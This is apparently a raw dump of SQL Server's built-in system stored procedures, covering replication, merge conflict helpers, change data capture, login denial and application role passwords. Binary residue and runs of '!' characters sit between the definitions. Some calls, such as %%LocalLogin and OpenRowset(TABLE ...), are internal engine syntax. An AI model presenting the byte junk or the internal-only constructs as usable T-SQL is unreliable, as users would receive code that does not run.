		raiserror(20804, 16, -1, @dest_owner, @dest_table, @publication_2)
		return 1
	end

	-- if this database does not contain any subscriptions just exit
	if object_id('MSsubscription_agents', 'U') is NULL
		or object_id('MSsubscription_articles', 'U') is NULL
	begin
		return 0
	end

	-- check to see if this article's base table is being referenced 
	-- by a subscription to any publication other than one by this name
	select @publisher = mssag.publisher,
		    @publisher_db = mssag.publisher_db,
		    @publication_2 = mssag.publication
		from MSsubscription_agents mssag
			join MSsubscription_articles mssa
				on mssag.id = mssa.agent_id
		where mssag.publication != @publication
			and mssa.dest_table = @dest_table
			and isnull(mssa.owner, N'dbo') = isnull(@dest_owner, N'dbo')
	
	if @publication_2 is not NULL
	begin
		select @dest_owner = isnull(@dest_owner, 'dbo')

		-- Peer-To-Peer topologies require identical publication names on each publisher. You are attempting to republish object [@dest_owner].[@dest_table] that is already being published in the Peer-To-Peer publication [%s].[%s].[%s].
		raiserror(20805, 16, -1, @dest_owner, @dest_table, @publisher, @publisher_db, @publication_2)
		return 1
	end

	return 0
end
00 	8create procedure sys.sp_MShelpreplicationtriggers (
    @object_name    sysname,
    @object_schema  sysname
    )
as
begin
    set nocount on
    declare @retcode int
          , @object_id int
          , @guidstr nvarchar(100)

    set @retcode = 0
    set @guidstr = null

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    set @object_id = object_id(quotename(@object_schema) + N'.' +  quotename(@object_name))

    if @object_id is null return 0 -- There is nothing to do here

    if object_id(N'dbo.sysarticleupdates', 'U') is not null
    begin
        select 'trigger_name' = object_name(sync_upd_trig)
          from dbo.sysarticleupdates updates
    inner join dbo.sysarticles arts -- Can't have synctran triggers on 
            on updates.artid = arts.artid
         where arts.objid = @object_id
    end

    if object_id(N'dbo.sysmergearticles', 'U') is not null
    begin
        -- Note: All merge articles of the same source object share
        -- the same article id.

        select @guidstr = sys.fn_MSguidtostr(artid)
          from dbo.sysmergearticles
         where objid = @object_id

        if @guidstr is not null
        begin
            declare @ins_trigger_name sysname
                  , @upd_trigger_name sysname
                  , @del_trigger_name sysname
                  , @yukon_ins_trigger_name sysname
                  , @yukon_upd_trigger_name sysname
                  , @yukon_del_trigger_name sysname
                            
            set @ins_trigger_name = N'ins_' + @guidstr
            set @upd_trigger_name = N'upd_' + @guidstr
            set @del_trigger_name = N'del_' + @guidstr
            set @yukon_ins_trigger_name = N'MSmerge_ins_' + @guidstr
            set @yukon_upd_trigger_name = N'MSmerge_upd_' + @guidstr
            set @yukon_del_trigger_name = N'MSmerge_del_' + @guidstr

            select 'trigger_name' = name
              from sys.triggers
             where parent_class = 1
               and parent_id = @object_id
               and name in (@ins_trigger_name
                           ,@upd_trigger_name
                           ,@del_trigger_name
                           ,@yukon_ins_trigger_name
                           ,@yukon_upd_trigger_name
                           ,@yukon_del_trigger_name)
                        
        end
    end

    return @retcode    
end
0M@ 8create procedure sys.sp_cdc_captured_columns  				
(														
	@capture_instance		sysname
)
with execute as 'dbo'
as
begin

	set nocount on
	
	declare @source_schema sysname
		,@source_name sysname
		
	set @source_schema = N'cdc'
	set @source_name = @capture_instance + N'_CT' 
		
	select object_schema_name(c.source_object_id) as source_schema,
		object_name(c.source_object_id) as source_table, c.capture_instance,
		t.column_name, i.column_id, i.column_ordinal, t.data_type,
		t.character_maximum_length, t.numeric_precision,
		t.numeric_precision_radix, t.numeric_scale, t.datetime_precision
	from INFORMATION_SCHEMA.COLUMNS t inner join cdc.captured_columns i
		on t.column_name = i.column_name
	inner join cdc.change_tables c
		on i.object_id = c.object_id
	where t.table_catalog = db_name()
	and   t.table_schema  = @source_schema
	and   t.table_name    = @source_name
	and   object_name(i.object_id) = @source_name
	and   t.column_name not in
		('__$start_lsn', '__$end_lsn', '__$seqval', '__$operation', '__$update_mask')
	order by i.column_ordinal

	return 0
end																
05 h8create function sys.fn_trace_getfilterinfo
	(@handle int = 0
	)

returns @tab table(columnid int NOT NULL,
	logical_operator int NOT NULL,
	comparison_operator int NOT NULL,
	value sql_variant)
as
begin
	insert @tab
	select * from OpenRowset(TABLE TRACEFILTERINFO, @handle)

	return
end -- fn_trace_getfilterinfo
00 8create procedure sys.sp_MScreate_tempgenhistorytable
    @pubid uniqueidentifier
as

    declare @retcode int
    declare @temp_genhistory_table sysname
    declare @qual_temp_genhistory_table sysname
    declare @guidstr varchar(100)
    declare @cmd nvarchar(4000)
    declare @objid sysname
    declare @is_system_object bit

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    select @guidstr = sys.fn_MSguidtostr(@pubid)
    select @temp_genhistory_table = 'MSmerge_genhistory_' + LOWER(@guidstr)
    select @qual_temp_genhistory_table = 'dbo.' + @temp_genhistory_table

    select @objid = object_id, @is_system_object = is_ms_shipped from sys.objects where name = @temp_genhistory_table

    if (@objid is null)
    begin
        select @cmd = 'select * into ' + @qual_temp_genhistory_table + ' from dbo.MSmerge_genhistory where 1=2'

        exec @retcode = sys.sp_executesql @cmd
        if @@error <> 0 or @retcode <> 0
            goto Failure

        exec @retcode = sys.sp_MS_marksystemobject @temp_genhistory_table
        if @@error<>0 or @retcode<>0
            goto Failure        
    end
    else if (@is_system_object = 0)
    begin
        -- temp_genhistory table is probably a user table.
        raiserror(20008, 16, -1)
        return 1
    end   
    return (0)
    
Failure:  
    return(1)
0 D8lh" !!!!!!!!!!!!!!!!!!!!!!!e	`<'/nmǴ0( 8create procedure sys.sp_denylogin
    @loginame		sysname
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret   int    -- return value of sp call
	declare @exec_stmt nvarchar(4000)

    -- CHECK PERMISSIONS --
	IF (not is_srvrolemember('securityadmin') = 1)
	begin
	   dbcc auditevent (105, 3, 0, @loginame, NULL, NULL, NULL, NULL, NULL, NULL)
	   raiserror(15247,-1, -1)
	   return (1)
	end
	ELSE
	begin
	   dbcc auditevent (105, 3, 1, @loginame, NULL, NULL, NULL, NULL, NULL, NULL)
	end

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_denylogin')
		return (1)
	end

    -- DISALLOW SQL LOGIN (IE. MUST BE 'DOMAIN\USER') --
	if (charindex('\', @loginame) = 0)
	begin
		raiserror(15407, -1, -1, @loginame)
		return (1)
	end

	BEGIN TRANSACTION
	EXEC %%LocalLogin(Name = @loginame).Lock(Exclusive = 0)

    -- ADD ROW FOR NT LOGIN IF NEEDED --
	if @@error <> 0 -- not found
    begin
        execute @ret = sys.sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
	    begin
			ROLLBACK TRANSACTION
		    raiserror(15401,-1,-1 ,@loginame)
		    return (1)
	    end
		-- login locked
    end

    -- DENY ACCESS --
	EXEC %%LocalLogin(Name = @loginame).SetAccess(HasAccess = -1)

	COMMIT TRANSACTION

    -- FINALIZATION: RETURN SUCCESS --
    return (0)	-- sp_denylogin
0 ?	8CREATE PROCEDURE sys.sp_MSadjust_pub_identity 
(
    @publisher			sysname,
    @publisher_db		sysname,
    @tablename			sysname,
    @current_max		bigint  = NULL,
    @threshold			int  = NULL,
    @range				bigint = NULL,
    @next_seed			bigint  = NULL,
    @pub_range			bigint  = NULL
)
AS
begin
    declare @retcode		int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadjust_pub_identity', 'distribution')
        return (1)
    end
    if @current_max is NOT NULL
    begin
    	update MSrepl_identity_range set current_max=@current_max 
    		where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    	if @@ERROR<>0	
    		return (1)
    	if exists (select * from MSrepl_identity_range where max_identity is not NULL 
    		and ABS(current_max) > ABS(max_identity))
    	begin
    		raiserror(21195, 16, -1)
    		return (1)
    	end
    end
    if @threshold is NOT NULL
    begin
        update MSrepl_identity_range set threshold=@threshold 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
        if @@ERROR<>0	
        	return (1)
    end
    if @next_seed is NOT NULL
    begin
        update MSrepl_identity_range set next_seed=@next_seed 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
        if @@ERROR<>0
        	return (1)
    end
    if @range is NOT NULL
    begin
        update MSrepl_identity_range set range=@range 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db	
        if @@ERROR<>0
        	return (1)
    end
    if @pub_range is NOT NULL
    begin
        update MSrepl_identity_range set pub_range=@pub_range 
        	where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db	
        if @@ERROR<>0
        	return (1)
    end

    return (0)
end
0@ 8create procedure sys.sp_approlepassword
	@rolename		sysname,			-- name of app role
	@newpwd			sysname				-- new password
AS
	declare @stmt		nvarchar(4000)

	-- CHECK FOR NULL PASSWORD
	if (@newpwd is null)
	begin
		raiserror(15034,-1,-1)
		return (1)
	end

	-- CHECK FOR NULL NAME
	if (@rolename is null)
	begin
		raiserror(15004,-1,-1)
		return (1)
	end

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002, -1, -1, 'sys.sp_approlepassword')
		return (1)
	end

	set @stmt = 'alter application role '
	set @stmt = @stmt + quotename(@rolename, ']')
	set @stmt = @stmt + ' with password = '
	set @stmt = @stmt + quotename(@newpwd, '''')
	
	BEGIN TRANSACTION

	exec (@stmt)	
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end

	COMMIT TRANSACTION

    -- RETURN SUCCESS --
	return (0) -- sp_approlepassword
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!i*`]<7Mg0:Pj 8create procedure sys.sp_helpmergeconflictrows(
    @publication    sysname = '%',
    @conflict_table sysname,
    @publisher		sysname = NULL,
    @publisher_db	sysname = NULL,
    @logical_record_conflicts int = 0
    
    )
as 
	set nocount on
    declare @pubid          uniqueidentifier
    declare @cmd            nvarchar(max)  
    declare @colname		sysname
    declare @colid			int
    declare @pubidstr       nvarchar(38)
    declare @retcode        int
	declare @result_table	sysname
	declare @guid			uniqueidentifier

    -- Security check
    if 1 <> is_member('db_owner') and
	   (1 <> is_member('replmonitor') or is_member('replmonitor') is null)
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end

	declare @quotedcolname nvarchar(258)

    select @guid = newid()

    if @publisher IS NULL
    	select @publisher = publishingservername()
    	
    if @publisher_db IS NULL
	    select @publisher_db = db_name()

	select @colname=NULL
	
	select @colid = min(column_id) from sys.columns where object_id = object_id(@conflict_table)
	select @colname=name from sys.columns where object_id = object_id(@conflict_table) and column_id=@colid
	select @cmd = 'select '

	while (@colname is not NULL)
	begin
		if @colname <> 'origin_datasource_id'
		begin
			select @quotedcolname = quotename(@colname)
			select @cmd = @cmd + ' ct.' + @quotedcolname + ','	
		end
		select @colid = min(column_id) from sys.columns where object_id = object_id(@conflict_table) and column_id > @colid
		select @colname = NULL
		select @colname=name from sys.columns where object_id = object_id(@conflict_table) and column_id=@colid
	end
    select @cmd = @cmd + ' m.origin_datasource, m.conflict_type, m.reason_code, m.reason_text, m.pubid, m.MSrepl_create_time from' 
    select @cmd = @cmd + QUOTENAME(@conflict_table) + ' ct, MSmerge_conflicts_info m where ct.origin_datasource_id=m.origin_datasource_id
    			and m.conflict_type<>4 and ct.rowguidcol=m.rowguid '

    -- Do not return logical record conflicts unless specifically asked for
    if @logical_record_conflicts = 0
    begin
        select @cmd = @cmd + ' and m.conflict_type not in (11,12,13,14) '
    end
    
    if @publication <> '%'
    begin
        /*
        ** Parameter Check:  @publication.
        ** Make sure that the publication exists.
        */
        select @pubid = pubid from dbo.sysmergepublications 
        	where name = @publication and 
        		LOWER(publisher) = LOWER(@publisher) and
        		publisher_db = @publisher_db
        if @pubid IS NULL
            BEGIN
                RAISERROR (20026, 16, -1, @publication)
                RETURN (1)
            END

	    set @pubidstr = '''' + convert(nchar(36), @pubid) + '''' 
        select @cmd = @cmd + ' and m.pubid = ' + @pubidstr
    end
    exec (@cmd)

    if (@@ERROR <> 0)
    	return (1)
   	return (0)
0.n v
8create procedure sys.sp_getpublisherlink 
(
    @trigger_id int
    ,@connect_string nvarchar(300) output
    ,@islocalpublisher bit output -- 1 = local, 0 = remote
)
AS
BEGIN
    SET NOCOUNT ON
    declare @publisher sysname
                ,@publisher_db sysname
                ,@linkname sysname
                ,@security_mode int
                ,@retcode int

    --
    -- Make sure this proc is called from the trigger.
    -- Better to use object_id if owner name is passed in.
    --
    if trigger_nestlevel(@trigger_id) = 0
    begin
        raiserror(14126, 16, -1)
        return (1) -- current user does not have insert permission to underlying table
    end
    --
    -- Get the security information
    --
    IF object_id('MSsubscription_properties', 'U') is not NULL
    begin
        --
        -- MSsubscription_properties exists
        -- Check for the subscription
        --
        select @linkname = case when (p.publisher_security_mode in (0,1)) 
                            then sys.fn_MSrepllinkname(N'REPLLINK', upper(o.publisher), o.publisher_db, o.publication, db_name())
                            else p.publisherlink end
                ,@security_mode = case when (p.publisher_security_mode not between 0 and 2) then null else cast(p.publisher_security_mode as tinyint) end
                ,@publisher = upper(o.publisher)
                ,@publisher_db = o.publisher_db
        from MSsubscription_properties p join MSreplication_objects o
            on UPPER(p.publisher) = UPPER(o.publisher) 
                and p.publisher_db = o.publisher_db
                and p.publication = o.publication
                and o.object_name = object_name(@trigger_id) 
        select @islocalpublisher = case when (@publisher = upper(publishingservername())) then 1 else 0 end
        if (@security_mode is null)
        begin
            --
            -- entry for the subscription does not exist
            -- or, sp_link_publication has not been called
            --
            raiserror(21079, 16, 1)
            return(1)
        end
    end
    else
    begin
        --
        -- MSsubscription_properties does not exist
        --
        raiserror(21079, 16, 3)
        return(1)
    end
    --
    -- if we have come this far - the subscription exists
    --
    select @connect_string = case when (@islocalpublisher = 1) 
                    then quotename(@publisher_db)
                    else quotename(@linkname) + N'.' + quotename(@publisher_db)
                    end
    --
    -- all done
    --
    return 0
END
0p)y K8create procedure sys.sp_MScheck_join_filter_circular_relations @pubid uniqueidentifier
                                        , @use_partition_groups smallint
                                        , @can_use_partition_groups bit output
as
    declare @join_filters table (art_nick int, join_nick int, level int)
    
    insert into @join_filters
    select distinct art_nickname, join_nickname, NULL
    from dbo.sysmergesubsetfilters
    where pubid = @pubid

    declare @level int
    select @level = 0
    
    while @level = 0 or @@rowcount > 0
    begin
        select @level = @level + 1
        
        update jf
        set jf.level = @level
        from @join_filters jf
        where jf.level is NULL 
        and jf.join_nick not in (select art_nick from @join_filters jf2 
                                    where jf2.level is NULL)
    end

    select @level = 0
    
    while @level = 0 or @@rowcount > 0
    begin
        select @level = @level - 1
        
        update jf
        set jf.level = @level
        from @join_filters jf
        where jf.level is NULL 
        and jf.art_nick not in (select join_nick from @join_filters jf2 
                                    where jf2.level is NULL)
    end

    if exists (select * from @join_filters where level is NULL)
    begin
        set @can_use_partition_groups = 0
        
        if @use_partition_groups in (1,2)
        begin
        
            raiserror(22515, 16, -1)
            return 1
        end
    
    end
    
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x`)
<0} J8-- Requires Certificate signature for catalog access
create procedure sys.sp_MScheck_blob_filter_columns @pubid uniqueidentifier
                                        , @use_partition_groups smallint
                                        , @can_use_partition_groups bit output
as

    declare @retcode int
    , @nickname int
    , @objid int
    , @objname sysname
        
    select top 1 @nickname = nickname
                , @objid = objid
    from dbo.sysmergearticles
    where pubid = @pubid
    and (    (subset_filterclause is not null and rtrim(ltrim(subset_filterclause)) <> '')
        or exists (select * from dbo.sysmergesubsetfilters where art_nickname = nickname or join_nickname = nickname)
        )
    order by nickname
    
    while @nickname is not null
    begin
        
        if exists    (
                        select * from sys.columns sc
                        where object_id = @objid and 
                        --((sys.fn_IsTypeBlob(sc.system_type_id,sc.max_length) = 1) or sc.system_type_id = 240) -- 240 CLR-UDTs
                            (
                              sc.system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml'))
                              or sc.max_length = -1
                              or sc.system_type_id = 240    -- CLR-UDTs
                            )
                        and 
                        (    exists (select * from dbo.sysmergearticles where nickname = @nickname
                                and sys.fn_MSisfilteredcolumn(subset_filterclause, sc.name, @objid) = 1)
                            or exists (select * from dbo.sysmergesubsetfilters where (art_nickname = @nickname or join_nickname = @nickname)
                                and sys.fn_MSisfilteredcolumn(join_filterclause, sc.name, @objid) = 1)                            
                        )
                    )
        begin
            set @can_use_partition_groups = 0
            
            if @use_partition_groups in (1,2)
            begin
                select @objname = object_name(@objid)
                raiserror(22518, 16, -1, @objname)
                return 1
            end
        end
    
        -- Check the next article
                
        select top 1 @nickname = nickname
                , @objid = objid
        from dbo.sysmergearticles
        where pubid = @pubid
        and (    (subset_filterclause is not null and rtrim(ltrim(subset_filterclause)) <> '')
            or exists (select * from dbo.sysmergesubsetfilters where art_nickname = nickname or join_nickname = nickname)
            )
        and nickname > @nickname
        order by nickname
        
        if @@rowcount = 0
            set @nickname = NULL
    end
    
    return 0
0~@ o8CREATE PROCEDURE sys.sp_MSvalidatecommongen
    (@commongen bigint, @commongenguid uniqueidentifier = NULL, @commongenvalid int = NULL OUTPUT)
as
    set @commongenvalid = 1
    if (@commongen <= 0)
            return 0
                
    if (@commongenguid is null or @commongenguid = '00000000-0000-0000-0000-000000000000')
    begin
        if not exists (select * from dbo.MSmerge_genhistory where generation=@commongen)
        begin
            set @commongenvalid = 0
            RAISERROR(21800 , 16, -1)
            return (1)
        end                             
        else
        begin
            return (0)
        end                                     
    end
    else
    begin
        if not exists (select * from dbo.MSmerge_genhistory where guidsrc=@commongenguid)
        begin
            set @commongenvalid = 0
            RAISERROR(21800 , 16, -1)
            return (1)
        end                             
        else
        begin
            return (0)
        end                                     
    end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	
<[D*07 C8CREATE PROCEDURE sys.sp_MSget_repl_cmds_anonymous
(
    @agent_id int,
    @last_xact_seqno varbinary(16),
    @no_init_sync bit = 0,
    @get_count tinyint = 0,
    @compatibility_level int = 7000000
)
as
begin
   set nocount on

   declare @virtual_agent_id int    /* virtual sub agent id */
            ,@anonymous_agent_id int  /* virtual anonymous agent id */
            ,@retcode int

    -- Note @agent_id will be overwritten later.
    select  @virtual_agent_id =   virtual_agent_id,
            @anonymous_agent_id = anonymous_agent_id
        from MSdistribution_agents where
            id = @agent_id
    
    -- Return error if agent entry does not exists (being deleted).
    if @virtual_agent_id is null
    begin
        raiserror(21072, 16, -1)
        return(1)
    end

    -- If no init sync, use anonymous account to start immediately.
    -- If first time or right after reinit,  use virtual account. 
    -- otherwise use virtual anonymous account
    if  @no_init_sync = 1 
        select @agent_id = @anonymous_agent_id
    else if @last_xact_seqno = 0x00 
        select @agent_id = @virtual_agent_id
    else
        select @agent_id = @anonymous_agent_id
    --
    -- Call main procedure to get commands
    -- PAL security check done inside this sp
    --
    exec @retcode = sys.sp_MSget_repl_commands 
        @agent_id = @agent_id,
        @last_xact_seqno = @last_xact_seqno,
        @get_count = @get_count,
        @compatibility_level = @compatibility_level

    return @retcode
end
0" r8create function sys.fn_MSmerge_mightneedrowtrackbcp (@pubid uniqueidentifier)
returns bit
as
begin
    if exists(select * from dbo.sysmergepublications
                where pubid=@pubid and 
                      allow_anonymous=1 and
                      sync_mode=1)
    begin
        return 1
    end

    return 0
end
00h 8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MScheck_subset_filters (@pubid uniqueidentifier
                                        , @use_partition_groups smallint
                                        , @dynamic_filters bit
                                        , @can_use_partition_groups bit output
                                        , @has_dynamic_filters bit output
                                        , @dynamic_filters_function_list nvarchar(500) output
                                        , @uses_host_name bit output
                                        , @uses_suser_sname bit output)
with execute as 'dbo'
as
    declare @retcode int
    , @owner_qualified_art_name nvarchar(400)
    , @art_name nvarchar(130)
    , @viewname sysname
    , @nickname int
    , @objid int
    , @subset_filterclause nvarchar(1000)
    , @found_functions bit
   
    
    -- take each subset filter and create a view on the table with a where clause of the subset 
    -- filter clause
    select top 1 @nickname = nickname
                , @objid = objid
                , @subset_filterclause = subset_filterclause
    from dbo.sysmergearticles
    where pubid = @pubid
    and subset_filterclause is not null
    and rtrim(ltrim(subset_filterclause)) <> ''
    order by nickname
    
    while @nickname is not null
    begin
        
        select @owner_qualified_art_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
                , @art_name = quotename(name)
        from sys.objects
        where object_id = @objid
        
        select @viewname = quotename('MSmerge_subset_filter_view_' + convert(nvarchar(40), newid()))
        
        begin tran
        save tran check_subset_filter_partid_lim
        
        exec ('create view dbo.' + @viewname + ' as select placeholder = 1 from ' + @owner_qualified_art_name + ' ' + @art_name +  
                ' where ' + '(' + @subset_filterclause + ')')
                    
        if @@error <> 0
            goto UNDO
            
        set @found_functions = 0
            
        exec @retcode = sys.sp_MScheck_functions_directly_in_view    @viewname = @viewname
                                                                , @has_dynamic_filters = @found_functions output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
                                                                
        if @@error <> 0 or @retcode <> 0
            goto UNDO
        
        if @found_functions = 1
        begin
            set @has_dynamic_filters = 1
            --if @dynamic_filters = 0
            --begin
                --raiserror(22517, 16, -1)
                --goto UNDO
            --end
        end        
        
        set @found_functions = 0
        
        exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @viewname
                                                                , @use_partition_groups = @use_partition_groups
                                                                , @can_use_partition_groups = @can_use_partition_groups output
                                                                , @has_dynamic_filters = @found_functions output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
        if @@error <> 0 or @retcode <> 0
            goto UNDO
            
        if @found_functions = 1
        begin
            set @can_use_partition_groups = 0
            set @has_dynamic_filters = 1
            
            if @use_partition_groups in (1,2)
            begin
                -- no need to raise new error. sp_MScheck_functions_indirectly_in_view would have
                -- raised an error if it had found any functions.
                goto UNDO
            end
            --if @dynamic_filters = 0
            --begin
                --raiserror(22517, 16, -1)
                --goto UNDO
            --end
        end        
    
        -- rollback tran so that the temp view gets dropped. 
        rollback tran check_subset_filter_partid_lim
        commit tran
        
        -- Check the next subset filter.    
                
        select top 1 @nickname = nickname
                , @objid = objid
                , @subset_filterclause = subset_filterclause
        from dbo.sysmergearticles
        where pubid = @pubid
        and subset_filterclause is not null
        and rtrim(ltrim(subset_filterclause)) <> ''
        and nickname > @nickname
        order by nickname
        
        if @@rowcount = 0
            set @nickname = NULL
    end
    
    return 0
    
UNDO:

    if @@trancount > 0
    begin
        rollback tran check_subset_filter_partid_lim
        commit tran
        return 1
    end
